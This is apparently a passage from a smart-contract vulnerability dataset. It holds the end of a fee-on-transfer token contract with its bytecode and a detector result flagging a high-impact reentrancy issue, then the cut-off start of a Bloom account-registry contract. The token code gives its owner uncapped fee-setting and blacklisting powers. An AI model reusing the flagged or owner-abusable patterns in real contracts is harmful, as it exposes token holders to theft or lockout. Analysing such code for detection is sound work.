return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610559578063dd62ed3e14610579578063ea1644d5146105bf578063f2fde38b146105df57600080fd5b8063a2a957bb146104d4578063a9059cbb146104f4578063bfd7928414610514578063c3c8cd801461054457600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b457600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195b565b6105ff565b005b34801561020a57600080fd5b5060408051808201909152600881526711dbd1dbd09a5c9960c21b60208201525b6040516102389190611a20565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611a75565b61069e565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b5069d3c21bcecceda10000005b604051908152602001610238565b3480156102dc57600080fd5b506102616102eb366004611aa1565b6106b5565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b5060405160098152602001610238565b34801561032e57600080fd5b50601554610291906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611ae2565b61071e565b34801561036e57600080fd5b506101fc61037d366004611b0f565b610769565b34801561038e57600080fd5b506101fc6107b1565b3480156103a357600080fd5b506102c26103b2366004611ae2565b6107fc565b3480156103c357600080fd5b506101fc61081e565b3480156103d857600080fd5b506101fc6103e7366004611b2a565b610892565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611ae2565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610291565b34801561045957600080fd5b506101fc610468366004611b0f565b6108c1565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b5060408051808201909152600881526711d3d1d3d092549160c21b602082015261022b565b3480156104c057600080fd5b506101fc6104cf366004611b2a565b610909565b3480156104e057600080fd5b506101fc6104ef366004611b43565b610938565b34801561050057600080fd5b5061026161050f366004611a75565b610976565b34801561052057600080fd5b5061026161052f366004611ae2565b60106020526000908152604090205460ff1681565b34801561055057600080fd5b506101fc610983565b34801561056557600080fd5b506101fc610574366004611b75565b6109d7565b34801561058557600080fd5b506102c2610594366004611bf9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cb57600080fd5b506101fc6105da366004611b2a565b610a78565b3480156105eb57600080fd5b506101fc6105fa366004611ae2565b610aa7565b6000546001600160a01b031633146106325760405162461bcd60e51b815260040161062990611c32565b60405180910390fd5b60005b815181101561069a5760016010600084848151811061065657610656611c67565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069281611c93565b915050610635565b5050565b60006106ab338484610b91565b5060015b92915050565b60006106c2848484610cb5565b610714843361070f85604051806060016040528060288152602001611dab602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f1565b610b91565b5060019392505050565b6000546001600160a01b031633146107485760405162461bcd60e51b815260040161062990611c32565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107935760405162461bcd60e51b815260040161062990611c32565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e657506013546001600160a01b0316336001600160a01b0316145b6107ef57600080fd5b476107f98161122b565b50565b6001600160a01b0381166000908152600260205260408120546106af90611265565b6000546001600160a01b031633146108485760405162461bcd60e51b815260040161062990611c32565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bc5760405162461bcd60e51b815260040161062990611c32565b601655565b6000546001600160a01b031633146108eb5760405162461bcd60e51b815260040161062990611c32565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109335760405162461bcd60e51b815260040161062990611c32565b601855565b6000546001600160a01b031633146109625760405162461bcd60e51b815260040161062990611c32565b600893909355600a91909155600955600b55565b60006106ab338484610cb5565b6012546001600160a01b0316336001600160a01b031614806109b857506013546001600160a01b0316336001600160a01b0316145b6109c157600080fd5b60006109cc306107fc565b90506107f9816112e9565b6000546001600160a01b03163314610a015760405162461bcd60e51b815260040161062990611c32565b60005b82811015610a72578160056000868685818110610a2357610a23611c67565b9050602002016020810190610a389190611ae2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6a81611c93565b915050610a04565b50505050565b6000546001600160a01b03163314610aa25760405162461bcd60e51b815260040161062990611c32565b601755565b6000546001600160a01b03163314610ad15760405162461bcd60e51b815260040161062990611c32565b6001600160a01b038116610b365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610629565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610629565b6001600160a01b038216610c545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610629565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610629565b6001600160a01b038216610d7b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610629565b60008111610ddd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610629565b6000546001600160a01b03848116911614801590610e0957506000546001600160a01b03838116911614155b156110ea57601554600160a01b900460ff16610ea2576000546001600160a01b03848116911614610ea25760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610629565b601654811115610ef45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610629565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3657506001600160a01b03821660009081526010602052604090205460ff16155b610f8e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610629565b6015546001600160a01b038381169116146110135760175481610fb0846107fc565b610fba9190611cac565b106110135760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610629565b600061101e306107fc565b6018546016549192508210159082106110375760165491505b80801561104e5750601554600160a81b900460ff16155b801561106857506015546001600160a01b03868116911614155b801561107d5750601554600160b01b900460ff165b80156110a257506001600160a01b03851660009081526005602052604090205460ff16155b80156110c757506001600160a01b03841660009081526005602052604090205460ff16155b156110e7576110d5826112e9565b4780156110e5576110e54761122b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112c57506001600160a01b03831660009081526005602052604090205460ff165b8061115e57506015546001600160a01b0385811691161480159061115e57506015546001600160a01b03848116911614155b1561116b575060006111e5565b6015546001600160a01b03858116911614801561119657506014546001600160a01b03848116911614155b156111a857600854600c55600954600d555b6015546001600160a01b0384811691161480156111d357506014546001600160a01b03858116911614155b156111e557600a54600c55600b54600d555b610a7284848484611463565b600081848411156112155760405162461bcd60e51b81526004016106299190611a20565b5060006112228486611cc4565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069a573d6000803e3d6000fd5b60006006548211156112cc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610629565b60006112d6611491565b90506112e283826114b4565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133157611331611c67565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561138a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ae9190611cdb565b816001815181106113c1576113c1611c67565b6001600160a01b0392831660209182029290920101526014546113e79130911684610b91565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611420908590600090869030904290600401611cf8565b600060405180830381600087803b15801561143a57600080fd5b505af115801561144e573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611470576114706114f6565b61147b848484611524565b80610a7257610a72600e54600c55600f54600d55565b600080600061149e61161b565b90925090506114ad82826114b4565b9250505090565b60006112e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165f565b600c541580156115065750600d54155b1561150d57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115368761168d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156890876116ea565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611597908661172c565b6001600160a01b0389166000908152600260205260409020556115b98161178b565b6115c384836117d5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160891815260200190565b60405180910390a3505050505050505050565b600654600090819069d3c21bcecceda100000061163882826114b4565b8210156116565750506006549269d3c21bcecceda100000092509050565b90939092509050565b600081836116805760405162461bcd60e51b81526004016106299190611a20565b5060006112228486611d69565b60008060008060008060008060006116aa8a600c54600d546117f9565b92509250925060006116ba611491565b905060008060006116cd8e87878761184e565b919e509c509a509598509396509194505050505091939550919395565b60006112e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f1565b6000806117398385611cac565b9050838110156112e25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610629565b6000611795611491565b905060006117a3838361189e565b306000908152600260205260409020549091506117c0908261172c565b30600090815260026020526040902055505050565b6006546117e290836116ea565b6006556007546117f2908261172c565b6007555050565b6000808080611813606461180d898961189e565b906114b4565b90506000611826606461180d8a8961189e565b9050600061183e826118388b866116ea565b906116ea565b9992985090965090945050505050565b600080808061185d888661189e565b9050600061186b888761189e565b90506000611879888861189e565b9050600061188b8261183886866116ea565b939b939a50919850919650505050505050565b6000826000036118b0575060006106af565b60006118bc8385611d8b565b9050826118c98583611d69565b146112e25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610629565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f957600080fd5b803561195681611936565b919050565b6000602080838503121561196e57600080fd5b823567ffffffffffffffff8082111561198657600080fd5b818501915085601f83011261199a57600080fd5b8135818111156119ac576119ac611920565b8060051b604051601f19603f830116810181811085821117156119d1576119d1611920565b6040529182528482019250838101850191888311156119ef57600080fd5b938501935b82851015611a1457611a058561194b565b845293850193928501926119f4565b98975050505050505050565b600060208083528351808285015260005b81811015611a4d57858101830151858201604001528201611a31565b81811115611a5f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8857600080fd5b8235611a9381611936565b946020939093013593505050565b600080600060608486031215611ab657600080fd5b8335611ac181611936565b92506020840135611ad181611936565b929592945050506040919091013590565b600060208284031215611af457600080fd5b81356112e281611936565b8035801515811461195657600080fd5b600060208284031215611b2157600080fd5b6112e282611aff565b600060208284031215611b3c57600080fd5b5035919050565b60008060008060808587031215611b5957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8a57600080fd5b833567ffffffffffffffff80821115611ba257600080fd5b818601915086601f830112611bb657600080fd5b813581811115611bc557600080fd5b8760208260051b8501011115611bda57600080fd5b602092830195509350611bf09186019050611aff565b90509250925092565b60008060408385031215611c0c57600080fd5b8235611c1781611936565b91506020830135611c2781611936565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ca557611ca5611c7d565b5060010190565b60008219821115611cbf57611cbf611c7d565b500190565b600082821015611cd657611cd6611c7d565b500390565b600060208284031215611ced57600080fd5b81516112e281611936565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d485784516001600160a01b031683529383019391830191600101611d23565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da557611da5611c7d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220711c1e3784eef45bb12050dc04769b53fc5382dfeae83858625752471ed49b1464736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,101 |
0x017925fdb447544da8ed671b5305461cfc6c6e1d
|
pragma solidity 0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract SigningLogicInterface {
function recoverSigner(bytes32 _hash, bytes _sig) external pure returns (address);
function generateRequestAttestationSchemaHash(
address _subject,
address _attester,
address _requester,
bytes32 _dataHash,
uint256[] _typeIds,
bytes32 _nonce
) external view returns (bytes32);
function generateAttestForDelegationSchemaHash(
address _subject,
address _requester,
uint256 _reward,
bytes32 _paymentNonce,
bytes32 _dataHash,
uint256[] _typeIds,
bytes32 _requestNonce
) external view returns (bytes32);
function generateContestForDelegationSchemaHash(
address _requester,
uint256 _reward,
bytes32 _paymentNonce
) external view returns (bytes32);
function generateStakeForDelegationSchemaHash(
address _subject,
uint256 _value,
bytes32 _paymentNonce,
bytes32 _dataHash,
uint256[] _typeIds,
bytes32 _requestNonce,
uint256 _stakeDuration
) external view returns (bytes32);
function generateRevokeStakeForDelegationSchemaHash(
uint256 _subjectId,
uint256 _attestationId
) external view returns (bytes32);
function generateAddAddressSchemaHash(
address _senderAddress,
bytes32 _nonce
) external view returns (bytes32);
function generateVoteForDelegationSchemaHash(
uint16 _choice,
address _voter,
bytes32 _nonce,
address _poll
) external view returns (bytes32);
function generateReleaseTokensSchemaHash(
address _sender,
address _receiver,
uint256 _amount,
bytes32 _uuid
) external view returns (bytes32);
function generateLockupTokensDelegationSchemaHash(
address _sender,
uint256 _amount,
bytes32 _nonce
) external view returns (bytes32);
}
interface AccountRegistryInterface {
function accountIdForAddress(address _address) public view returns (uint256);
function addressBelongsToAccount(address _address) public view returns (bool);
function createNewAccount(address _newUser) external;
function addAddressToAccount(
address _newAddress,
address _sender
) external;
function removeAddressFromAccount(address _addressToRemove) external;
}
/**
* @title Bloom account registry
* @notice Account Registry Logic provides a public interface for Bloom and users to
* create and control their Bloom Ids.
* Users can associate create and accept invites and associate additional addresses with their BloomId.
* As the Bloom protocol matures, this contract can be upgraded to enable new capabilities
* without needing to migrate the underlying Account Registry storage contract.
*
* In order to invite someone, a user must generate a new public key private key pair
* and sign their own ethereum address. The user provides this signature to the
* `createInvite` function where the public key is recovered and the invite is created.
* The inviter should then share the one-time-use private key out of band with the recipient.
* The recipient accepts the invite by signing their own address and passing that signature
* to the `acceptInvite` function. The contract should recover the same public key, demonstrating
* that the recipient knows the secret and is likely the person intended to receive the invite.
*
* @dev This invite model is supposed to aid usability by not requiring the inviting user to know
* the Ethereum address of the recipient. If the one-time-use private key is leaked then anyone
* else can accept the invite. This is an intentional tradeoff of this invite system. A well built
* dApp should generate the private key on the backend and sign the user's address for them. Likewise,
* the signing should also happen on the backend (not visible to the user) for signing an address to
* accept an invite. This reduces the private key exposure so that the dApp can still require traditional
* checks like verifying an associated email address before finally signing the user's Ethereum address.
*
* @dev The private key generated for this invite system should NEVER be used for an Ethereum address.
* The private key should be used only for the invite flow and then it should effectively be discarded.
*
* @dev If a user DOES know the address of the person they are inviting then they can still use this
* invite system. All they have to do then is sign the address of the user being invited and share the
* signature with them.
*/
contract AccountRegistryLogic is Ownable{
SigningLogicInterface public signingLogic;
AccountRegistryInterface public registry;
address public registryAdmin;
/**
* @notice The AccountRegistry constructor configures the signing logic implementation
* and creates an account for the user who deployed the contract.
* @dev The owner is also set as the original registryAdmin, who has the privilege to
* create accounts outside of the normal invitation flow.
* @param _signingLogic The address of the deployed SigningLogic contract
* @param _registry The address of the deployed account registry
*/
constructor(
SigningLogicInterface _signingLogic,
AccountRegistryInterface _registry
) public {
signingLogic = _signingLogic;
registry = _registry;
registryAdmin = owner;
}
event AccountCreated(uint256 indexed accountId, address indexed newUser);
event InviteCreated(address indexed inviter, address indexed inviteAddress);
event InviteAccepted(address recipient, address indexed inviteAddress);
event AddressAdded(uint256 indexed accountId, address indexed newAddress);
event AddressRemoved(uint256 indexed accountId, address indexed oldAddress);
event RegistryAdminChanged(address oldRegistryAdmin, address newRegistryAdmin);
event SigningLogicChanged(address oldSigningLogic, address newSigningLogic);
event AccountRegistryChanged(address oldRegistry, address newRegistry);
/**
* @dev Addresses with Bloom accounts already are not allowed
*/
modifier onlyNonUser {
require(!registry.addressBelongsToAccount(msg.sender));
_;
}
/**
* @dev Addresses without Bloom accounts already are not allowed
*/
modifier onlyUser {
require(registry.addressBelongsToAccount(msg.sender));
_;
}
/**
* @dev Zero address not allowed
*/
modifier nonZero(address _address) {
require(_address != 0);
_;
}
/**
* @dev Restricted to registryAdmin
*/
modifier onlyRegistryAdmin {
require(msg.sender == registryAdmin);
_;
}
// Signatures contain a nonce to make them unique. usedSignatures tracks which signatures
// have been used so they can't be replayed
mapping (bytes32 => bool) public usedSignatures;
// Mapping of public keys as Ethereum addresses to invite information
// NOTE: the address keys here are NOT Ethereum addresses, we just happen
// to work with the public keys in terms of Ethereum address strings because
// this is what `ecrecover` produces when working with signed text.
mapping(address => bool) public pendingInvites;
/**
* @notice Change the implementation of the SigningLogic contract by setting a new address
* @dev Restricted to AccountRegistry owner and new implementation address cannot be 0x0
* @param _newSigningLogic Address of new SigningLogic implementation
*/
function setSigningLogic(SigningLogicInterface _newSigningLogic) public nonZero(_newSigningLogic) onlyOwner {
address oldSigningLogic = signingLogic;
signingLogic = _newSigningLogic;
emit SigningLogicChanged(oldSigningLogic, signingLogic);
}
/**
* @notice Change the address of the registryAdmin, who has the privilege to create new accounts
* @dev Restricted to AccountRegistry owner and new admin address cannot be 0x0
* @param _newRegistryAdmin Address of new registryAdmin
*/
function setRegistryAdmin(address _newRegistryAdmin) public onlyOwner nonZero(_newRegistryAdmin) {
address _oldRegistryAdmin = registryAdmin;
registryAdmin = _newRegistryAdmin;
emit RegistryAdminChanged(_oldRegistryAdmin, registryAdmin);
}
/**
* @notice Change the address of AccountRegistry, which enables authorization of subject comments
* @dev Restricted to owner and new address cannot be 0x0
* @param _newRegistry Address of new Account Registry contract
*/
function setAccountRegistry(AccountRegistryInterface _newRegistry) public nonZero(_newRegistry) onlyOwner {
address oldRegistry = registry;
registry = _newRegistry;
emit AccountRegistryChanged(oldRegistry, registry);
}
/**
* @notice Create an invite using the signing model described in the contract description
* @dev Recovers public key of invitation key pair using
* @param _sig Signature of one-time-use keypair generated for invite
*/
function createInvite(bytes _sig) public onlyUser {
address inviteAddress = signingLogic.recoverSigner(keccak256(abi.encodePacked(msg.sender)), _sig);
require(!pendingInvites[inviteAddress]);
pendingInvites[inviteAddress] = true;
emit InviteCreated(msg.sender, inviteAddress);
}
/**
* @notice Accept an invite using the signing model described in the contract description
* @dev Recovers public key of invitation key pair
* Assumes signed message matches format described in recoverSigner
* Restricted to addresses that are not already registered by a user
* Invite is accepted by setting recipient to nonzero address for invite associated with recovered public key
* and creating an account for the sender
* @param _sig Signature for `msg.sender` via the same key that issued the initial invite
*/
function acceptInvite(bytes _sig) public onlyNonUser {
address inviteAddress = signingLogic.recoverSigner(keccak256(abi.encodePacked(msg.sender)), _sig);
require(pendingInvites[inviteAddress]);
pendingInvites[inviteAddress] = false;
createAccountForUser(msg.sender);
emit InviteAccepted(msg.sender, inviteAddress);
}
/**
* @notice Create an account instantly without an invitation
* @dev Restricted to the "invite admin" which is managed by the Bloom team
* @param _newUser Address of the user receiving an account
*/
function createAccount(address _newUser) public onlyRegistryAdmin {
createAccountForUser(_newUser);
}
/**
* @notice Create an account for a user and emit an event
* @dev Records address as taken so it cannot be used to sign up for another account
* accountId is a unique ID across all users generated by calculating the length of the accounts array
* addressId is the position in the unordered list of addresses associated with a user account
* AccountInfo is a struct containing accountId and addressId so all addresses can be found for a user
* new Login structs represent user accounts. The first one is pushed onto the array associated with a user's accountID
* To push a new account onto the same Id, accounts array should be addressed accounts[_accountID - 1].push
* @param _newUser Address of the new user
*/
function createAccountForUser(address _newUser) internal nonZero(_newUser) {
registry.createNewAccount(_newUser);
uint256 _accountId = registry.accountIdForAddress(_newUser);
emit AccountCreated(_accountId, _newUser);
}
/**
